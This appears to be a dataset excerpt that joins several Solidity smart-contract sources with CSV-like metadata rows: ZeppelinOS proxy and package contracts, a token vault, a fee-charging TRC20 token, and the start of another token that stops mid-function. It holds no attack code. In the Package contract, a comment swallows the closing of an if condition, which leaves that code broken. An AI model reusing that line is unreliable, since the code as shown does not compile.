return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Package is ZOSLibOwnable {
event VersionAdded(uint64[3] semanticVersion, address contractAddress, bytes contentURI);
struct Version {
uint64[3] semanticVersion;
address contractAddress;
bytes contentURI;
}
mapping (bytes32 => Version) internal versions;
mapping (uint64 => bytes32) internal majorToLatestVersion;
uint64 internal latestMajor;
function getVersion(uint64[3] semanticVersion) public view returns (address contractAddress, bytes contentURI) {
Version storage version = versions[semanticVersionHash(semanticVersion)];
return (version.contractAddress, version.contentURI);
}
function getContract(uint64[3] semanticVersion) public view returns (address contractAddress) {
Version storage version = versions[semanticVersionHash(semanticVersion)];
return version.contractAddress;
}
function addVersion(uint64[3] semanticVersion, address contractAddress, bytes contentURI) public onlyOwner {
require(contractAddress != address(0), "Contract address is required");
require(!hasVersion(semanticVersion), "Given version is already registered in package");
require(!semanticVersionIsZero(semanticVersion), "Version must be non zero");
// Register version
bytes32 versionId = semanticVersionHash(semanticVersion);
versions[versionId] = Version(semanticVersion, contractAddress, contentURI);
// Update latest major
uint64 major = semanticVersion[0];
if (major > latestMajor) {
latestMajor = semanticVersion[0];
}
// Update latest version for this major
uint64 minor = semanticVersion[1];
uint64 patch = semanticVersion[2];
uint64[3] latestVersionForMajor = versions[majorToLatestVersion[major]].semanticVersion;
if (semanticVersionIsZero(latestVersionForMajor) // No latest was set for this major
|| (minor > latestVersionForMajor[1]) // Or current minor is greater
|| (minor == latestVersionForMajor[1] && patch > latestVersionForMajor[2]) // Or current patch is greater) {
majorToLatestVersion[major] = versionId;
}
emit VersionAdded(semanticVersion, contractAddress, contentURI);
}
function hasVersion(uint64[3] semanticVersion) public view returns (bool) {
Version storage version = versions[semanticVersionHash(semanticVersion)];
return address(version.contractAddress) != address(0);
}
function getLatest() public view returns (uint64[3] semanticVersion, address contractAddress, bytes contentURI) {
return getLatestByMajor(latestMajor);
}
function getLatestByMajor(uint64 major) public view returns (uint64[3] semanticVersion, address contractAddress, bytes contentURI) {
Version storage version = versions[majorToLatestVersion[major]];
return (version.semanticVersion, version.contractAddress, version.contentURI);
}
function semanticVersionHash(uint64[3] version) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(version[0], version[1], version[2]));
}
function semanticVersionIsZero(uint64[3] version) internal pure returns (bool) {
return version[0] == 0 && version[1] == 0 && version[2] == 0;
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
constructor(address _implementation, bytes _data) public payable {
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_implementation);
if(_data.length > 0) {
require(_implementation.delegatecall(_data));
}
}
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
function _setImplementation(address newImplementation) private {
require(ZOSLibAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
event AdminChanged(address previousAdmin, address newAdmin);
bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b;
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
constructor(address _implementation, address _admin, bytes _data) UpgradeabilityProxy(_implementation, _data) public payable {
assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin"));
_setAdmin(_admin);
}
function admin() external view ifAdmin returns (address) {
return _admin();
}
function implementation() external view ifAdmin returns (address) {
return _implementation();
}
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
function upgradeToAndCall(address newImplementation, bytes data) payable external ifAdmin {
_upgradeTo(newImplementation);
require(newImplementation.delegatecall(data));
}
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
contract App is ZOSLibOwnable {
event ProxyCreated(address proxy);
event PackageChanged(string providerName, address package, uint64[3] version);
struct ProviderInfo {
Package package;
uint64[3] version;
}
mapping(string => ProviderInfo) internal providers;
constructor() public { }
function getProvider(string packageName) public view returns (ImplementationProvider provider) {
ProviderInfo storage info = providers[packageName];
if (address(info.package) == address(0)) return ImplementationProvider(0);
return ImplementationProvider(info.package.getContract(info.version));
}
function getPackage(string packageName) public view returns (Package, uint64[3]) {
ProviderInfo storage info = providers[packageName];
return (info.package, info.version);
}
function setPackage(string packageName, Package package, uint64[3] version) public onlyOwner {
require(package.hasVersion(version), "The requested version must be registered in the given package");
providers[packageName] = ProviderInfo(package, version);
emit PackageChanged(packageName, package, version);
}
function unsetPackage(string packageName) public onlyOwner {
require(address(providers[packageName].package) != address(0), "Package to unset not found");
delete providers[packageName];
emit PackageChanged(packageName, address(0), [uint64(0), uint64(0), uint64(0)]);
}
function getImplementation(string packageName, string contractName) public view returns (address) {
ImplementationProvider provider = getProvider(packageName);
if (address(provider) == address(0)) return address(0);
return provider.getImplementation(contractName);
}
function create(string packageName, string contractName, address admin, bytes data) payable public returns (AdminUpgradeabilityProxy) {
address implementation = getImplementation(packageName, contractName);
AdminUpgradeabilityProxy proxy = (new AdminUpgradeabilityProxy).value(msg.value)(implementation, admin, data);
emit ProxyCreated(proxy);
return proxy;
}
}
| 335,462 | 11,396 |
498ec86e075d46ae4952eb075e1180e2975a2b1f0cca36440ae333f3f375e766
| 28,255 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/9f/9F6054971d530eb0AE2B52a788dA94E5Da2f4546_TokenVault.sol
| 3,967 | 17,154 |
//SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File @openzeppelin/contracts/access/[emailprotected]
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File @openzeppelin/contracts/token/ERC20/[emailprotected]
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/utils/[emailprotected]
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/token/ERC20/utils/[emailprotected]
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File contracts/lib/Utils.sol
// BEGIN STRIP
// Used in `FsUtils.Log` which is a debugging tool.
// END STRIP
library FsUtils {
function nonNull(address _address) internal pure returns (address) {
require(_address != address(0), "Zero address");
return _address;
}
// Slither sees this function is not used, but it is convenient to have it around, as it
// actually provides better error messages than `nonNull` above.
// slither-disable-next-line dead-code
function nonNull(address _address, string memory message) internal pure returns (address) {
require(_address != address(0), message);
return _address;
}
// Assert a condition. Assert should be used to assert an invariant that should be true
// logically.
// This is useful for readability and debugability. A failing assert is always a bug.
//
// In production builds (non-hardhat, and non-localhost deployments) this method is a noop.
//
// Use "require" to enforce requirements on data coming from outside of a contract. Ie.,
//
// ```solidity
// function nonNegativeX(int x) external { require(x >= 0, "non-negative"); }
// ```
//
// But
// ```solidity
// function nonNegativeX(int x) private { assert(x >= 0); }
// ```
//
// If a private function has a pre-condition that it should only be called with non-negative
// values it's a bug in the contract if it's called with a negative value.
function Assert(bool cond) internal pure {
}
}
contract ImmutableOwnable {
address public immutable owner;
constructor(address _owner) {
// slither-disable-next-line missing-zero-check
owner = FsUtils.nonNull(_owner);
}
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
}
// Contracts deriving from this contract will have a public pure function
// that returns a gitCommitHash at the moment it was compiled.
contract GitCommitHash {
// A purely random string that's being replaced in a prod build by
// the git hash at build time.
uint256 public immutable gitCommitHash =
852658842061751148811627154423765012439508971448;
}
// File contracts/upgrade/FsAdmin.sol
/// @dev Contract module which provides a basic access control mechanism, where
/// there is an account (an owner) that can be granted exclusive access to
/// specific functions.
///
/// By default, the owner account will be the one that deploys the contract. This
/// can later be changed with {transferOwnership}.
///
/// This module is used through inheritance. It will make available the modifier
/// `onlyOwner`, which can be applied to your functions to restrict their use to
/// the owner.
abstract contract FsAdmin {
/// @notice The admin of the VotingExecutor, the admin can call the execute method
/// directly. Admin will be phased out
address public admin;
/// @notice A newly proposed admin. Admin is handed over to an address and needs to be confirmed
/// before a new admin becomes live. This prevents using an unusable address as a new admin
address public proposedNewAdmin;
/// @notice Initializes the VotingExecutor with a given admin, can only be called once
/// @param _admin The admin of the VotingExectuor, see field description for more detail
function initializeFsAdmin(address _admin) internal {
//slither-disable-next-line missing-zero-check
admin = nonNullAdmin(_admin);
}
/// @notice Remove the admin from the contract, can only be called by the current admin
function removeAdmin() external onlyAdmin {
emit AdminRemoved(admin);
admin = address(0);
}
/// @param _newAdmin The newly proposed admin
function proposeNewAdmin(address _newAdmin) external onlyAdmin {
//slither-disable-next-line missing-zero-check
proposedNewAdmin = nonNullAdmin(_newAdmin);
emit NewAdminProposed(_newAdmin);
}
/// @notice Accept adminship over the contract. This can only be called by a proposed admin
function acceptAdmin() external {
require(msg.sender == proposedNewAdmin, "Invalid caller");
address oldAdmin = admin;
admin = msg.sender;
proposedNewAdmin = address(0);
emit AdminAccepted(oldAdmin, msg.sender);
}
/// @dev Prevents calling from any address except the admin address
modifier onlyAdmin() {
require(msg.sender == admin, "only admin");
_;
}
function nonNullAdmin(address _address) private pure returns (address) {
require(_address != address(0), "Zero address");
return _address;
}
/// @notice Emitted if adminship is revoked from the contract
/// @param admin The address that gave up adminship
event AdminRemoved(address admin);
/// @notice Emitted when a new admin address is proposed
/// @param newAdmin The new admin address
event NewAdminProposed(address newAdmin);
/// @notice Emitted when a new admin address has accepted adminship
/// @param oldAdmin The old admin address
/// @param newAdmin The new admin address
event AdminAccepted(address oldAdmin, address newAdmin);
}
// File contracts/exchange41/TokenVault.sol
/// @title TokenVault implementation.
/// of these contracts become available, then they can be approved and the old ones disapproved.
///
/// to withdraw funds.
contract TokenVault is Ownable, FsAdmin, GitCommitHash {
using SafeERC20 for IERC20;
/// @notice Mapping to track addresses that are approved to move funds from this vault.
mapping(address => bool) public isApproved;
/// @notice When the TokenVault is frozen, no transfer of funds in or out of the contract can happen.
bool isFrozen;
/// @notice Requires caller to be an approved address.
modifier onlyApprovedAddress() {
require(isApproved[msg.sender], "Not an approved address");
_;
}
/// @notice Emitted when approvals for `userAddress` changes. Reports the value before the change in
/// `previousApproval` and the value after the change in `currentApproval`.
event VaultApprovalChanged(address indexed userAddress,
bool previousApproval,
bool currentApproval);
/// @notice Emitted when `amount` tokens are transfered from the TokenVault to the `recipient`.
event VaultTokensTransferred(address recipient, address token, uint256 amount);
/// @notice Emitted when the vault is frozen/unfrozen.
event VaultFreezeStateChanged(bool previousFreezeState, bool freezeState);
constructor(address _admin) {
initializeFsAdmin(_admin);
}
/// the vault. Can only be called by the VotingExecutor.
///
/// @param userAddress The address to change approvals for. Can't be the zero address.
/// @param approved Whether to approve or disapprove the address.
function setAddressApproval(address userAddress, bool approved) external onlyOwner {
// This does allow an arbitrary address to be approved to withdraw funds from the vault but this risk
// is mitigated as only the owner can call this function. As long as the owner is the VotingExecutor,
// slither-disable-next-line missing-zero-check
userAddress = FsUtils.nonNull(userAddress);
bool previousApproval = isApproved[userAddress];
if (previousApproval == approved) {
return;
}
isApproved[userAddress] = approved;
emit VaultApprovalChanged(userAddress, previousApproval, approved);
}
/// @notice Transfers the given amount of token from the vault to a given address.
/// This can only be called by an approved address.
///
/// @param recipient The address to transfer tokens to.
/// @param token Which token to transfer.
/// @param amount The amount to transfer, represented in the token's underlying decimals.
function transfer(address recipient,
address token,
uint256 amount) external onlyApprovedAddress {
require(!isFrozen, "Vault is frozen");
emit VaultTokensTransferred(recipient, token, amount);
// There's no risk of a malicious token being passed here, leading to reentrancy attack
// because:
// (1) Only approved addresses can call this method to move tokens from the vault.
// (2) Only tokens associated with the exchange would ever be moved.
// OpenZeppelin safeTransfer doesn't return a value and will revert if any issue occurs.
IERC20(token).safeTransfer(recipient, amount);
}
/// @notice For security we allow admin/voting to freeze/unfreeze the vault this allows an admin
/// to freeze funds, but not move them.
function setIsFrozen(bool _isFrozen) external {
if (isFrozen == _isFrozen) {
return;
}
require(msg.sender == owner() || msg.sender == admin, "Only owner or admin");
emit VaultFreezeStateChanged(isFrozen, _isFrozen);
isFrozen = _isFrozen;
}
}
| 86,456 | 11,397 |
278989b45b76645ad4df3d49895a280043cea1ad34867da8bb1cac0e8ef1fe1f
| 15,960 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWC4W76QYE8TXwWV99YZ96vQYx7GFNBHcb_NNCToken.sol
| 2,740 | 10,420 |
//SourceUnit: NNCToken.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma experimental ABIEncoderV2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath#mul: OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath#div: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath#sub: UNDERFLOW");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath#add: OVERFLOW");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath#mod: DIVISION_BY_ZERO");
return a % b;
}
}
contract NNCToken is Context, ITRC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = 'NNC';
string private _symbol = 'NNC';
uint8 private _decimals = 6;
uint256 private _totalSupply = 2021 * 10**uint256(_decimals);
address private _burnPool = address(0);
uint256 public _burnFee = 2; // 2%
uint256 private _previousBurnFee = _burnFee;
uint256 public _liquidityFee = 1; // 1%
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public MAX_STOP_FEE_TOTAL = 888 * 10**uint256(_decimals);
mapping(address => bool) private _isExcludedFromFee;
uint256 private _burnFeeTotal;
uint256 private _liquidityFeeTotal;
address public _exchangePool;
constructor () public {
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
receive () external payable {}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setExchangePool(address exchangePool) public onlyOwner {
_exchangePool = exchangePool;
}
function totalBurnFee() public view returns (uint256) {
return _burnFeeTotal;
}
function totalLiquidityFee() public view returns (uint256) {
return _liquidityFeeTotal;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if (_totalSupply <= MAX_STOP_FEE_TOTAL) {
removeAllFee();
_transferStandard(sender, recipient, amount);
} else {
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
sender != _exchangePool) {
removeAllFee();
}
_transferStandard(sender, recipient, amount);
if(_isExcludedFromFee[sender] ||
_isExcludedFromFee[recipient] ||
sender != _exchangePool) {
restoreAllFee();
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity) = _getValues(tAmount);
_balances[sender] = _balances[sender].sub(tAmount);
_balances[recipient] = _balances[recipient].add(tTransferAmount);
if(!_isExcludedFromFee[sender] &&
!_isExcludedFromFee[recipient]) {
_balances[_exchangePool] = _balances[_exchangePool].add(tLiquidity);
_liquidityFeeTotal = _liquidityFeeTotal.add(tLiquidity);
_totalSupply = _totalSupply.sub(tBurn);
_burnFeeTotal = _burnFeeTotal.add(tBurn);
emit Transfer(sender, _exchangePool, tLiquidity);
emit Transfer(sender, _burnPool, tBurn);
}
emit Transfer(sender, recipient, tTransferAmount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_burnFee).div(10 ** 2);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(10 ** 2);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tBurn, uint256 tLiquidity) = _getTValues(tAmount);
return (tTransferAmount, tBurn, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256,uint256) {
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tBurn).sub(tLiquidity);
return (tTransferAmount, tBurn, tLiquidity);
}
function removeAllFee() private {
if(_liquidityFee == 0 && _burnFee == 0) return;
_previousLiquidityFee = _liquidityFee;
_previousBurnFee = _burnFee;
_liquidityFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_liquidityFee = _previousLiquidityFee;
_burnFee = _previousBurnFee;
}
}
| 293,683 | 11,398 |
336338460ba033f2f1c4a22b10608c06f4f96aacde3396cf5454e2307973f4df
| 11,085 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TN/TNP1D18nJCqQHhv4i38qiNtUUuL5VyNoC1_LionX.sol
| 3,048 | 10,685 |
//SourceUnit: LionXLDA.sol
pragma solidity ^0.5.10;
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
interface ITRC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TRC20Detailed is ITRC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract TRC20 is Context, ITRC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 0;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TRC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "TRC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "TRC20: transfer from the zero address");
require(recipient != address(0), "TRC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "TRC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
